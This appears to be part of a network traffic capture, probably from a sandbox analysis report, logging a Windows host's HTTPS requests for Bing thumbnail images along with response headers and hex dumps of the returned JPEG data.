2024-11-20 13:43:45 UTC	375	OUT	GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 13:43:46 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634564 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 15DCCF991EF04ACC8C1F74128543C7A9 Ref B: EWR30EDGE0414 Ref C: 2024-11-20T13:43:45Z Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close
2024-11-20 13:43:46 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a a0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:028
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 22 16 4a 4d b5 3e ca 46 4a 40 41 b6 93 6d 4e c9 48 c9 54 04 2c b4 9b 6a 6d b4 8c b4 01 03 03 4b b6 a5 db 49 40 11 62 92 a5 db 49 b7 14 01 1d 23 0a 93 6d 1b 68 02 2a 4d b5 2e da 4d b4 01 16 da 46 15 2e da 46 5a 00 89 85 35 85 4c cb 48 cb 40 11 50 c2 a4 a4 db 40 11 ed a4 db 52 30 a4 c5 16 01 94 98 a7 d0 c3 14 00 cc 51 8a 72 d2 f3 48 68 d7 f0 1d aa 5c eb d1 87 5d db 7f 86 bd 86 c5 02 7e ec 74 5a f2 0f 03 1b 94 d6 23 fb 3a ed 2c d8 dc df 75 7d 6b d7 f4 95 73 1e 64 6d cd 5e 16 65 7f 68 8f 5f 07 fc 32 ea 2d 39 96 9e ab 4b b6 bc d3 a8 8b 65 35 97 15 63 6d 46 eb 40 10 b2 fa d2 2c 78 6a 9b 6d 2a ae 68 01 8a b4 ec 66 97 18 a1 b8 a0 06 32 d3 58 53 99 a9 ad 40 02 8a 55 41 4a 83 34 f5 14 00 d5 4a 5d 94 f5 a7 63 34 01 0e ca 19 2a 5c 51 b6 80 2b 32 d3 1d 6a cb 25 31 d2 Data Ascii: "JM>FJ@AmNHT,jmKI@bI#mhM.MF.FZ5LH@P@R0QrHh\]~tZ#:,u}ksdm^eh_2-9Ke5cmF@,xjmhf2XS@UAJ4J]c4*\Q+2j%1
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: ad 4b 7f 69 3d b5 c6 25 89 a3 dd f7 77 52 2a b0 e0 57 42 b5 b4 31 d9 d8 6f 2d cd 3b cb 1b 68 da 43 7b 53 9b 23 a5 16 02 2d bf 37 34 bb 30 bc 54 ca 85 bf 86 94 c6 47 d2 80 3e df 98 40 d5 52 64 8c 37 15 88 b7 d3 8e bb aa 44 bd 62 d8 35 f3 1e c9 9e bf 3a 2e cd 20 15 56 49 f6 f2 1a a4 8e 68 df ef d2 b4 10 3f 22 9a 49 0b 52 aa 5d b9 91 76 6e cd 6c 5b db dc 35 be f9 6e 76 b7 f7 56 a8 b5 b4 69 ca 54 b8 22 3e 5a 9e 9d 03 52 c2 e8 b7 77 16 ed 25 bc ea c7 fd aa aa fa 2e bf 0c ca 65 81 a5 8f fe 99 b0 6a bd a5 6a 7f 65 93 cb 92 5d aa d5 d1 d8 de 09 d7 31 ce ac 29 7b 59 c7 a6 81 ec e3 23 9d b3 b5 96 39 17 ed 3e 7c 5f dd 5d b5 aa 91 a4 51 ef 93 76 2b 61 b0 cb f3 ed 6a 14 c1 f7 0d 63 29 f3 33 45 1b 18 49 7f 66 f2 6c f3 76 ed a6 dd 6a 36 f0 cc a3 cd 56 ad bb 8b 7b 37 e4 Data Ascii: Ki=%wR*WB1o-;hC{S#-740TG>@Rd7Db5:. VIh?"IR]vnl[5nvViT">ZRw%.ejje]1){Y#9>\|_]Qv+ajc)3EIflvj6V{7
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: e1 5b 49 e2 f3 06 e6 82 42 9e 5a 7e 39 dc 6b c6 23 8e cd ad d4 c9 3f 97 27 f1 7f b2 3e 95 14 96 c8 f2 32 5b 4a d2 2f 5d df 75 ab 9e a6 0e 8c b7 5a 9b 43 15 52 3b 3d 0f b1 fc 1b e3 cf 03 f8 bb ca 8f 4a d6 15 6e 64 5c b5 b4 bf 23 af b7 cd 8a dc 6b 4b 39 ee a4 b7 83 51 b6 69 62 ff 00 59 1a ce 19 97 ea 33 5f 12 d8 e9 b7 23 6c f2 ce d6 c5 57 30 36 ed ad 91 fc aa ce 95 77 ac 5b 5c 4b 2c 1a 9b 45 23 7c 92 4a d2 9d cc 33 fa d7 9b 57 2f 8a 7e e4 b4 3b 61 8c 6f 78 9f 66 dd 78 76 e1 97 72 32 d6 79 f0 bd cb b7 cf d6 be 76 d0 fe 30 fc 40 d2 b4 78 ec ad f5 af 36 18 24 f9 64 b9 84 3b c8 3d 32 79 c5 7a 07 86 3f 68 fb 39 b7 0d 7f 43 9e db 6b 01 e6 db 48 1d 7d fa ff 00 4a e7 78 5a d1 f8 5d cd a3 88 a4 f7 3d 3a 1d 06 ee 26 d9 4f b8 d2 2e 23 5f ba d9 6a 8f c1 ff 00 10 3c 35 Data Ascii: [IBZ~9k#?'>2[J/]uZCR;=Jnd\#kK9QibY3_#lW06w[\K,E#\|J3W/~;aoxfxvr2yv0@x6$d;=2yz?h9CkH}JxZ]=:&O.#_j<5
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 54 ce 4b 62 a2 9b d4 a8 b0 ef f3 23 8d 59 b7 67 cc 6e 77 2e 7d 69 77 45 0d ab 07 89 58 af 0a cd f3 37 d4 d4 9a 85 c2 5b db b4 10 45 e6 aa ae 19 95 bd 7f 2a 21 49 5a 38 fe 5d ab 22 fc b1 47 8f 9a a7 a5 d9 7d 4a 91 cb f6 98 56 48 e2 93 ef 79 71 ee c7 5e e6 99 7f 11 2d 81 b9 59 7f bd f2 d6 fc 76 f0 24 8a ee b2 46 b0 2e 59 be ea 2e 7d 07 f1 1a c4 d6 2e 23 46 8d d2 39 3c c9 18 ff 00 ac fb b8 1d c8 14 53 95 de 81 25 65 a9 95 24 2f 04 db ce dd ad f7 7f cf 4a 7c 93 94 8f 9e af f7 b6 af cc b5 66 6d 92 43 88 f6 ca 37 7d ef 2f 6e df ce a9 dc 10 93 33 a2 ed 8f a3 6e ae 95 ae e6 3b 0c be 73 1c 6a 0b 48 dd 0f f7 79 34 db 11 28 93 cc 9d 59 8f 45 5f ad 4b 72 4d c3 2c b2 33 79 6b fe d7 f5 ab 56 26 54 8f fd 6f 3b 7e 5f 33 e5 eb e9 4d e9 12 3a 8f 51 12 48 d2 3f cc cd c2 c6 Data Ascii: TKb#Ygnw.}iwEX7[E*!IZ8]"G}JVHyq^-Yv$F.Y.}.#F9<S%e$/J\|fmC7}/n3n;sjHy4(YE_KrM,3ykV&To;~_3M:QH?
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: e8 6d a4 7b a8 e3 45 59 0c 8c 02 ab 7b d7 56 cb 53 0e aa c4 4c c5 9b fb c3 f8 ab 73 e1 df 86 ae fc 45 ac 2c 45 59 6d 57 fd 64 ab 19 66 5f 61 8e f5 de 78 47 c0 7a 3e 9d 0c 5a a6 b7 6c d7 82 45 ff 00 56 df 34 2a 47 56 ea 3e 5e d9 39 a8 ae 7c 53 6f a7 47 75 1e 9c b0 69 f6 f2 49 88 96 38 19 56 6c f7 cf 70 3d ab c8 ad 98 ba 8a 50 c3 ab be e7 7d 3c 27 2b 52 a8 fe 47 6d e1 3b ad 2a c2 e1 b4 2d 12 d3 cb 48 17 f7 ad 2b 6c dd c7 52 40 fe b5 8f ab 6b 51 41 74 b0 5e dc ac f1 c4 c6 48 e4 dc ea 8a 47 41 ce 33 8a 97 c2 36 3a 85 95 af da f5 0b cd d1 ce db 97 cb f9 77 03 f5 3c 7e b5 8d f1 0a dd 2e 64 51 24 17 37 9b 72 62 8a d1 b7 32 a6 3f 88 8c f1 9a f0 29 d3 84 ab b4 dd fc ff 00 e1 cf 5a 53 6a 9e 87 31 36 9f aa 78 bf 52 64 4b c5 88 46 ac ed 23 30 db 8c f0 02 2f 3f 9d 75 Data Ascii: m{EY{VSLsE,EYmWdf_axGz>ZlEV4GV>^9\|SoGuiI8Vlp=P}<'+RGm;-H+lR@kQAt^HGA36:w<~.dQ$7rb2?)ZSj16xRdKF#0/?u
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 9d 83 6d 1e cb c0 15 9f 7d 3d c4 1a a4 0e 6f be d9 36 d3 b6 0e 7e 69 3b 0e 80 67 bd 3a 7a fc 2c a9 59 6a d1 76 ce 5c c7 28 b4 89 63 0b 21 76 91 9b 76 e3 df 27 ff 00 d7 50 c6 2e 04 32 3d ec 52 46 6f 23 0e aa cd b1 70 38 00 f2 7a fa 55 1d 56 e5 20 86 da d2 78 b6 86 50 f2 6d 6d aa a0 1c f7 e0 02 7f 3a b9 f6 98 e6 f3 6e 2e ef a3 55 9f 06 db cd 6d cb 18 ec c0 f7 fa 56 8e 2e d7 26 fa 8c b8 37 12 5a c8 6d fc c9 23 82 42 ed 1d b4 03 6b 71 f7 73 eb 9a 9a dd 2f 6f 6d 63 49 60 82 2b 89 f6 f9 8a df 3e d1 9f e3 3d db d8 74 a3 c3 ec 5e 69 e3 d3 e5 9d ad 77 80 b3 b4 9c 7b ed 1c 75 eb 55 bc 58 fa 44 7a 7c 49 73 73 3d 9b 47 23 6d 6d bd ba 67 38 a6 ae e7 c9 6d 43 45 1b 91 f8 d3 50 95 63 6d 2a 15 5b 9b fe 42 f9 0c 17 6a 75 25 f3 f7 78 ae 2a e5 85 95 8e 1e 0f 22 e6 4e 23 89 Data Ascii: m}=o6~i;g:z,Yjv\(c!vv'P.2=RFo#p8zUV xPmm:n.UmV.&7Zm#Bkqs/omcI`+>=t^iw{uUXDz\|Iss=G#mmg8mCEPcm[Bju%x"N#
2024-11-20 13:43:46 UTC	16065	IN	Data Raw: 3f 95 24 fe 23 9e 07 d6 9f 34 9b 4a c3 8a d0 ca b4 69 12 f1 ad e4 89 54 c5 cb 6e cd 6b 5b c5 6e 9a 2d f5 ce ef 30 c2 d1 a2 af bb 1e bf 95 45 a6 e9 d2 4f 1c 97 e6 db 70 59 04 6d e5 b6 ed ae 7b 7e 54 58 5a b5 bc 7e 56 d6 62 df bc 65 6f bb f9 d5 3e 84 f5 29 4c a2 69 3c f4 f9 76 af cc ac df 7b 15 4e fc 0f b5 28 2b ff 00 02 5f bd 53 da c8 4d d3 19 17 69 97 9f f6 5b e9 4d ba 89 04 cd f3 7f 0f dd ac 89 d6 e2 69 b0 bc b7 92 7a 7f b3 5a 36 68 f2 5a b0 8d 77 75 15 4e de ed ed a1 96 0b 2e 92 c7 e5 c8 cd e9 9c d6 b4 28 6d a1 58 9e e6 35 1e 51 75 65 cb 6d 1d 81 f7 a7 2b 58 a8 95 74 d5 8e 28 65 df b9 7f d9 5f 4a a9 a8 14 91 a4 3b 5b e5 51 b5 7f bb 53 a9 8a 18 54 6e f2 e4 db 96 f3 3e eb 1a 87 52 94 c8 b9 91 97 0a bf 75 7f 8b f1 a2 c5 74 31 37 05 65 07 a5 59 b6 25 99 47 Data Ascii: ?$#4JiTnk[n-0EOpYm{~TXZ~Vbeo>)Li<v{N(+_SMi[MizZ6hZwuN.(mX5Quem+Xt(e_J;[QSTn>Rut17eY%G
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: de fc 6b 3f e4 59 30 ed 5b 7a e8 f3 5a 41 67 13 6d 81 42 2a aa fc cc 07 53 c5 64 e9 fe 62 5c 46 e8 ab 24 9b be 55 65 dd fa 57 da 45 24 b4 3e 76 5b 9a f6 22 6b 78 e4 b5 8a f1 ad ad af b1 e6 6e 5f f5 98 f6 1e 95 f4 17 ec f1 6b 6f 65 e1 1f b4 a6 a1 73 a8 5b d9 c8 4e 97 04 f6 c7 62 c8 4e 59 cf a8 c8 1e d9 f5 af 9e f4 ad 36 e7 56 f1 07 91 02 ed 93 97 91 64 60 ab 1e 3a 9e dc 0a fa 87 c1 a8 67 f0 6d 8d 84 76 d2 49 e7 c1 b3 4f 55 c4 63 8e 9f 2a fa 93 9c 9a f9 0e 28 c7 4b 0d 46 30 a6 f5 96 ff 00 d7 f5 d4 ef c0 45 b9 df b1 d5 f8 6e 1b 9d 52 48 2e a7 68 e0 b6 5d d2 48 b1 41 b3 71 3d 36 8e 06 3d 05 45 ab 5e 9b cf 15 59 cf f6 69 22 55 52 16 e6 55 3b 63 45 fb ea 83 d4 e7 93 d6 ae c3 e2 39 74 6b 58 f4 ed 42 29 1a e6 ea 4f b3 44 d6 39 79 b2 bd 77 1e 88 3e 9c d6 05 8d cc Data Ascii: k?Y0[zZAgmBSdb\F$UeWE$>v["kxn_koes[NbNY6Vd`:gmvIOUc(KF0EnRH.h]HAq=6=E^Yi"URU;cE9tkXB)OD9yw>
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: ab 07 97 04 f0 f9 92 2f c9 23 aa e4 82 d8 3b 39 1d 7f 5a e8 df 11 aa a5 84 0a d6 d0 45 e5 b5 ca af 92 d0 9c 70 aa 80 67 81 de b3 b5 4f 0c c1 ac d8 d8 9b 88 a0 6b 78 24 26 fa 5f 33 62 49 c6 02 b6 7d 38 1c e3 9a f9 9c 24 d4 71 31 a8 fa 7f 5a f9 9e ce de e9 bd f1 11 a2 f0 cf 82 f4 34 d4 35 7f b7 34 9a 6c 6f 77 2b 62 67 c3 a0 66 c3 71 85 c8 08 aa a3 3d 3e b5 f3 a7 c4 5f 89 9a e6 9d 7d 3c 1e 12 d6 67 b3 b0 b6 8c 88 e3 5f 7e 18 e4 12 32 49 3d 0f 15 df 7c 56 b8 f1 7f 8b bc 17 63 73 a5 4b a4 e9 f6 37 97 22 c2 d1 a3 bb 32 4d 7c 63 3e 5e 55 48 c4 31 2a 8e 49 3c d7 8f 69 be 03 bb d4 bc 44 ba 14 fa 9e 97 6a 5a e4 db 2d cc 93 ec 56 d8 f8 62 17 af 27 a0 20 66 be bf 2d c1 61 ef 2c 45 6b 37 ae 9d ba ea bb a3 87 1b 52 72 92 8c 34 f3 30 6e 3c 51 79 3e 93 6d 1c 70 41 03 40 Data Ascii: /#;9ZEpgOkx$&_3bI}8$q1Z454low+bgfq=>_}<g_~2I=\|VcsK7"2M\|c>^UH1*I<iDjZ-Vb' f-a,Ek7Rr40n<Qy>mpA@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49891	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	346	OUT	GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 13:43:46 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 637660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 81E7E08DD0B44F889D018BC128ED069A Ref B: EWR311000101009 Ref C: 2024-11-20T13:43:45Z Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close
2024-11-20 13:43:46 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d dc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:408
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 3b c8 05 c2 c0 b0 c7 c2 c6 ab f3 31 f7 af 23 11 9a 53 8d d4 59 ec 50 cb 27 a3 99 e6 9f 0b 7e 15 dc ea 97 8b 77 a8 ed 58 63 6f f5 6c bf 7a bd 66 db e1 4f 86 a1 86 59 3f b3 e3 69 a5 5c 6e fb db 7e 82 bb ed 3f 4f 82 38 56 38 95 57 77 fc f3 ab ab 66 b1 af c9 d6 be 7b 11 98 55 a9 2b de c7 b3 47 0b 4e 9c 6c 91 e3 1a 6f c1 9d 00 ea 12 47 35 8c f2 47 bb e5 66 6a ec bc 2b f0 bf 43 d0 d7 fd 1a 05 f5 56 65 e7 f3 ae ce 45 78 f9 4e b5 2c 6e 7c bf 9f e6 35 cf 3c 5d 69 ab 39 33 58 d2 82 d9 1c cc de 17 d2 a3 9a 4b 97 b6 8d 99 b8 69 19 77 35 3b 4f d0 ac 85 d4 77 11 c7 b7 cb ad eb c1 e6 43 f2 2f 35 42 3d 42 de dd 96 09 65 55 3f ed 56 7c f3 6b 72 ac 91 d0 69 b2 8d aa 82 b4 a1 96 b9 88 ef c4 4d e6 2b 6e 8e ae e9 ba b4 57 3c c6 fb b6 d6 12 83 dc a4 74 b0 cb 9a b7 1c b5 91 6d Data Ascii: ;1#SYP'~wXcolzfOY?i\n~?O8V8Wwf{U+GNloG5Gfj+CVeExN,n\|5<]i93XKiw5;OwC/5B=BeU?V\|kriM+nW<tm
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: fc b5 6e 6b 72 cb 8a c5 d4 d7 42 94 6e 71 f7 e4 bb 63 6f 3f de aa 13 5b 33 f4 ae d5 f4 bc f2 eb ba 96 1d 32 33 fc 35 4a aa 27 95 9c 03 69 f3 bb 63 6d 5a b5 d0 2e 24 e7 6b 57 a0 db e9 90 22 ff 00 aa a9 a4 86 da de dd a5 b8 96 38 22 5f bd 24 8c 15 7f 33 4f db b7 b0 f9 12 dc e0 24 d0 a4 45 ce da 8e da c3 62 b4 8f fb b8 e3 5c b3 37 dd 5a 9b e2 07 c5 4f 87 9e 1b 69 6d e7 d6 a3 bc bb 8f 8f b2 58 fe f1 f3 ee 7a 0f ce bc 03 e2 67 c5 fb ff 00 10 dd 34 76 cb f6 5b 05 6f dc db 46 df 7b fd ff 00 ef 1a eb a3 46 b5 4d 5a d0 c2 a5 58 47 a9 ec 3a f7 8b 34 2d 36 dd 8c 53 fd aa 5e 8a b1 fd dc fb 9a e0 35 5f 1d 1b 8b e6 8d a7 55 3f f3 cd 7e 55 af 27 be d7 ae 27 8f 74 8c ca 7f 85 77 7c b5 8d a8 5d c8 ec a4 37 3f de af 46 9e 13 b9 c7 3c 43 b1 eb 3a e6 bb 1c 71 f9 b2 6d 6e fb Data Ascii: nkrBnqco?[3235J'icmZ.$kW"8"_$3O$Eb\7ZOimXzg4v[oF{FMZXG:4-6S^5_U?~U''tw\|]7?F<C:qmn
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 19 6a d3 ad 46 cb 8a 62 2b b2 d2 32 d4 ce b4 d6 14 01 03 2e 7e 5a 7c 7a 7d d4 ed 20 82 da 79 0c 7f 7b cb 8c b6 da df f8 7f a1 4f ad 6b 51 a4 4b e6 08 d8 1d bb 6b e8 df 0c f8 5f 4c b0 d3 76 45 6d 1a 99 39 91 95 7e 66 35 e5 e3 b3 28 e1 9a 8a 57 67 a5 85 c0 fb 58 f3 49 d9 1f 3b 78 2f c0 1a be af 79 24 73 d9 b4 41 57 e5 8e 4e 1b ff 00 ad 5a da bf c1 7f 10 5b 59 b5 cc 57 36 d2 6d 52 7c a5 ce ea fa 2a c3 4e b7 b4 8d 84 11 2a ee e5 a8 bf b5 f3 ad 5a 23 f2 ee af 16 79 cd 77 2b c7 44 7a 31 c0 d0 4a cd 1e 5f fb 37 ff 00 6f da 69 f7 3a 66 af 17 97 6f 04 98 8b fb d5 eb b6 31 e1 b3 f7 85 65 59 d8 88 76 c5 1a aa 8a dd b3 8f 6c 6a 3f bb 5e 65 6a 9e d6 a3 95 ad 73 a9 45 42 0a 24 eb f7 68 53 4e a8 dc 81 50 22 1b 83 f3 53 d9 7f 77 51 33 a1 6c 1a 91 58 79 7f 7b 8a 43 2a fd Data Ascii: jFb+2.~Z\|z} y{OkQKk_LvEm9~f5(WgXI;x/y$sAWNZ[YW6mR\|NZ#yw+Dz1J_7oi:fo1eYvlj?^ejsEB$hSNP"SwQ3lXy{C*
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: fe b9 ef 55 66 b4 b2 dd e5 45 7c ab 24 72 66 4f dd ee 56 34 93 59 db dd 48 d7 51 4e d1 2c 5f bb 8e 35 8b ef 3f ad 51 41 b5 96 2b d6 d8 bf c2 b1 c7 f3 31 f4 27 d2 88 45 5d b8 b1 cd bb 59 9b fa 55 cd bc 50 c9 6a b2 f9 90 c7 93 fb a5 3b b7 ff 00 2a ae d6 ba ad c5 e4 86 09 56 d6 2e 07 76 6e 9d 07 a9 fa 56 8e 8b 10 86 e2 da c2 d3 cc 79 24 5d fb 95 7e 5f cc ff 00 3a f1 ad 63 e3 16 a3 a6 7c 44 92 31 03 41 a6 59 ca d1 c9 03 36 f9 18 83 82 c5 bd 7e 9c 57 2c f1 10 a7 27 6d cd 23 4a 52 5e 47 b1 68 7a 24 9a 8f 88 13 4f 96 79 25 b7 8b 12 5c ee 5d a5 40 f4 f4 f4 ae 92 ce 5b 3b 5f 10 46 fe 54 76 6d e6 6c b4 f2 a3 df b4 1e ad b7 bb 76 19 ae 47 e0 7f 8e bf e1 32 f1 45 d2 68 10 49 1d a4 56 c4 fe fd 42 b4 d2 1e e4 f6 51 5e a3 e1 bb 6b 2f b6 2d fc 76 6a d2 aa 97 92 e7 cc dd Data Ascii: UfE\|$rfOV4YHQN,_5?QA+1'E]YUPj;*V.vnVy$]~_:c\|D1AY6~W,'m#JR^Ghz$Oy%\]@[;_FTvmlvG2EhIVBQ^k/-vj
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 73 cd a8 2e 2d b6 cb 1e 36 b3 2f dd 1f e3 44 6f 2d 56 c5 3b 27 a9 61 a0 94 da af 96 aa b1 aa fd d5 f9 77 7e 75 4b 4c b6 bb 9e f9 a5 9e 5d b0 c7 93 23 6e fb de c2 ae 34 2c 1b cd bc f3 31 1b 13 fd ed c6 b4 33 6c 2c 55 ef 11 97 73 7c b0 fd dd c3 d0 e3 fa 52 73 e5 0e 5b b3 3e c2 cc bc 32 dc 09 64 8f fd af ee 8f 4f c6 aa 5c 80 cc c9 26 dc 37 dd dd f7 ab 7f 50 6b 6b 2d 2d 5e 75 58 37 36 63 89 7e 66 c7 ad 60 6b 57 76 90 b2 f9 10 2f 9d b7 2b bb 3f 37 a7 5a 74 9b 93 1c d2 48 86 48 22 95 58 18 97 e5 ff 00 81 55 06 e2 4f 2e 4d cb f3 6d 56 6f bb c5 69 47 22 36 d9 ff 00 b4 16 49 36 e7 6f 96 55 79 f7 f6 a8 52 72 d3 34 b3 ee 90 2f 3f 77 e5 fc eb a6 2d 98 15 2e 9a 49 db 11 4a ca 23 5a 29 8e c4 5c 34 83 e5 8b fb df c3 45 5d 89 bb 3e d3 48 e9 e9 16 69 f7 2f 6f 67 63 2d e5 Data Ascii: s.-6/Do-V;'aw~uKL]#n4,13l,Us\|Rs[>2dO\&7Pkk--^uX76c~f`kWv/+?7ZtHH"XUO.MmVoiG"6I6oUyRr4/?w-.IJ#Z)\4E]>Hi/ogc-
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 6d 3d 2c 56 28 e3 8f 1f bb 6d ad f5 af 4a 71 a9 ca 94 4e 4a 6e 0a 5e f1 9f aa 69 92 4c b3 dc da 4b 1c 71 33 7d d6 90 6e 6f c2 a3 d2 e7 b3 b6 b3 50 6f a7 8e 46 e1 97 6f c9 d7 f5 35 46 49 9f ed 1c 33 36 e6 f9 7f bd cd 5a bf d2 fc 98 63 94 de 40 d2 49 83 e5 45 f3 6d 1e e6 b7 e5 f7 79 66 cc 23 2f 7b 9a 27 55 e2 c9 24 8b 4d b5 b8 8a 06 f2 f6 63 cd 66 1b 98 7a 7a d7 17 78 8e dc 47 2b 65 bf 87 fb d5 d0 47 a0 eb 66 38 be d2 de 45 bb 47 be 49 65 63 b6 31 db f1 3e 95 91 7d 0a 43 71 e5 24 be 60 e9 e6 2f f1 54 61 b9 63 a2 77 2a b3 72 d6 c5 68 c3 ab 60 ab 29 fe f5 49 70 b1 ca b8 db b8 ff 00 7a 9b 82 1b 86 a7 ad b5 c3 db c9 3a 44 cd 0a b7 cd 22 fd d5 3f 5a ea ba 31 b3 7b 15 9e 20 8d ca f1 56 ac a3 b4 13 28 b8 66 58 db fb bf e7 8a ab 31 fd de c2 df ee d5 8b 38 ed da 16 Data Ascii: m=,V(mJqNJn^iLKq3}noPoFo5FI36Zc@IEmyf#/{'U$McfzzxG+eGf8EGIec1>}Cq$`/Tacw*rh`)Ipz:D"?Z1{ V(fX18
2024-11-20 13:43:46 UTC	16069	IN	Data Raw: 69 2c 55 8b b5 cc b1 15 5f a8 26 ba 0b 79 6d f4 bd 2e 5b b2 d2 49 71 3b 17 97 77 dd 51 d0 74 e7 15 72 39 ae 2f 2f 1a 78 e0 5f b2 5b 7d d6 5f 95 73 db 1d ab 12 e2 fa 2b 9f b6 5b 5f ca aa 3e ee ef ef 7a d6 52 93 aa f6 29 a5 08 da e5 8b 39 20 7b 55 d5 07 97 10 97 ee b6 d0 a7 ea 2b 3a 47 82 69 2e 7c d9 e3 cc 5c c7 22 e1 df 27 b2 e7 af e1 52 5d 18 35 0b 3f b1 69 16 db 62 6e 3c c9 3e e2 e3 fa fb 54 3e 1e d0 22 b7 d7 15 12 29 24 66 5f 9a 46 fa 72 54 76 ad 22 a3 14 db 7a 91 2e 69 59 2d 89 3c 1b 77 71 6b 6b 75 1b b3 7e fd b3 17 9a bf 33 67 8e 58 ff 00 4a 4d 61 d2 4b 5b a0 65 81 a4 b6 61 e5 45 b7 6a ae 7b e7 f8 8d 33 54 d5 34 bb 79 25 95 6d a4 fb 54 5f 27 cc db 97 ae 00 1f 95 57 f1 39 fb 65 af 99 23 2c 07 ca 1f 75 77 75 ec bf e2 6a a3 16 e6 a5 6b 5c 5c fc b1 6b 73 Data Ascii: i,U_&ym.[Iq;wQtr9//x_[}_s+[_>zR)9 